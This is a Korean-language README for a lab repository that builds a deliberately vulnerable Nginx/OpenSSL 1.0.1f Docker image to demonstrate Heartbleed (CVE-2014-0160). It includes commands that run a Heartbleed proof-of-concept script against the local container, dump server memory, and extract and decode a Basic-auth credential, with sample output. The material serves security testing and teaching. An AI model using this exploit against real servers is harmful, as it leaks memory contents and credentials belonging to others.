
CVE-2014-0160 Heartbleed 악용 테스트용 Dockerfile.
이 저장소는 취약한 OpenSSL 버전(1.0.1f) 을 포함한 Nginx 의 Dockerfile 을 포함하며, CVE-2014-0160 Heartbleed 취약점 테스트를 위한 것입니다.
Docker 설치
apt-get install -y docker공개 Docker Hub Registry에서 debian 기본 이미지 다운로드:
docker pull debian:latest
Dockerfile에서 이미지 빌드: docker build -t heartbleed_nginx_img .
docker run -i -t -p 1500:443 heartbleed_nginx_img
Heartbleed-poc Python 스크립트 다운로드 (테스트 목적으로만 사용!). 이는 원래 Jared Stafford [email protected]가 작성한 것을 수정한 버전입니다. 이 스크립트를 제공한 SensePost에 감사드립니다.
현재 터미널에서 새 탭 두 개를 열고 다음을 실행:
첫 번째 탭 (curl 명령어로 HTTP 기본 인증을 사용하여 100개의 GET 요청 생성):
for loop in {0..100..1}; do curl -X GET -s -i -k -u admin:myP@ssword0MG https://127.0.0.1:1500| grep -E "200"; done
HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK snipp...
두 번째 탭 (100개의 Heartbeat 요청(-n 100) 생성하여 메모리 덤프를 "dump.bin" 파일에 기록한 후, 메모리 덤프에서 "Authorization" 필드의 결과를 가져와 Base64 결과 문자열을 평문으로 디코드**^^**):
python heartbleed-poc.py -f dump.bin -q -n 100 -p 1500 127.0.0.1 && grep -a "^Authorization:" dump.bin | head -n1 | awk -F " " '{print $3}' | tr -d '\n\r' | base64 --decode && echo
WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 925 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 ... received message: type = 24, ver = 0302, length = 16384 WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! snipp... admin:myP@ssword0MG